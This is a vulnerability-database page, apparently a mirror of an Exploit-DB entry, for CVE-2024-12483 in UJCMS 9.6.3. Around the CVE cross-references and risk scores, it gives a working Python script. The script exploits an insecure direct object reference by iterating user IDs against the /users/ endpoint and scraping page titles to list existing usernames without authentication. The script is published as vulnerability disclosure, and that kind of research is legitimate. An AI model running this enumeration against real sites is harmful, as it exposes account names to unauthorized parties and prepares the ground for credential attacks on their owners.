Lucene search
K

UJCMS 9.6.3 - User Enumeration via IDOR

🗓️ 18 Apr 2025 00:00:00Reported by Cyd TsengType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 294 Views

In UJCMS 9.6.3, IDOR vulnerability permits username enumeration for unauthenticated attackers.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2024-12483
11 Dec 202420:10
circl
CNNVD
UJCMS 安全漏洞
12 Dec 202400:00
cnnvd
CVE
CVE-2024-12483
11 Dec 202420:00
cve
Cvelist
CVE-2024-12483 Dromara UJCMS User ID id authorization
11 Dec 202420:00
cvelist
EUVD
EUVD-2024-50895
3 Oct 202520:07
euvd
NVD
CVE-2024-12483
12 Dec 202401:40
nvd
Packet Storm
📄 UJCMS 9.6.3 Insecure Direct Object Reference
18 Apr 202500:00
packetstorm
Positive Technologies
PT-2024-17616 · Dromara · Dromara Ujcms
11 Dec 202400:00
ptsecurity
RedhatCVE
CVE-2024-12483
23 May 202506:53
redhatcve
Vulnrichment
CVE-2024-12483 Dromara UJCMS User ID id authorization
11 Dec 202420:00
vulnrichment
Rows per page
# Exploit Title: UJCMS 9.6.3 User Enumeration via IDOR
# Exploit Author: Cyd Tseng
# Date: 11 Dec 2024
# Category: Web application
# Vendor Homepage: https://dromara.org/
# Software Link: https://github.com/dromara/ujcms
# Version: UJCMS 9.6.3
# Tested on: Linux
# CVE: CVE-2024-12483
# Advisory: https://github.com/cydtseng/Vulnerability-Research/blob/main/ujcms/IDOR-UsernameEnumeration.md

"""

An Insecure Direct Object Reference (IDOR) vulnerability was discovered in UJCMS version 9.6.3 that allows unauthenticated enumeration of usernames through the manipulation of the user id parameter in the /users/id endpoint. While the user IDs are generally large numbers (e.g., 69278363520885761), with the exception of the admin and anonymous account, unauthenticated attackers can still systematically discover usernames of existing accounts.

"""


import requests
from bs4 import BeautifulSoup
import time
import re

BASE_URL = 'http://localhost:8080/users/{}' # Modify as necessary!
HEADERS = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Connection': 'keep-alive'
}

def fetch_user_data(user_id):
    url = BASE_URL.format(user_id)
    try:
        response = requests.get(url, headers=HEADERS)
        if response.status_code == 200:
            soup = BeautifulSoup(response.content, 'html.parser')
            title = soup.title.string.strip()
            if title.lower() != '404':
                username = re.sub(r' - UJCMS演示站$', '', title)
                return user_id, username
        return None
    except requests.RequestException as e:
        print(f"Error fetching data for user ID {user_id}: {e}")
        return None

def user_id_generator(start, end):
    for user_id in range(start, end + 1):
        yield user_id

def enumerate_users(start_id, end_id):
    for user_id in user_id_generator(start_id, end_id):
        user_data = fetch_user_data(user_id)
        if user_data:
            print(f"Valid user found: ID {user_data[0]} with username '{user_data[1]}'")
        time.sleep(0.1)

if __name__ == '__main__':
    start_id = int(input("Enter the starting user ID: "))
    end_id = int(input("Enter the ending user ID: "))
    print(f"Starting enumeration from ID {start_id} to {end_id}...")
    enumerate_users(start_id, end_id)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Apr 2025 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.13.7 - 5.9
CVSS 22.6
CVSS 46.3
CVSS 33.7
EPSS0.03597
SSVC
294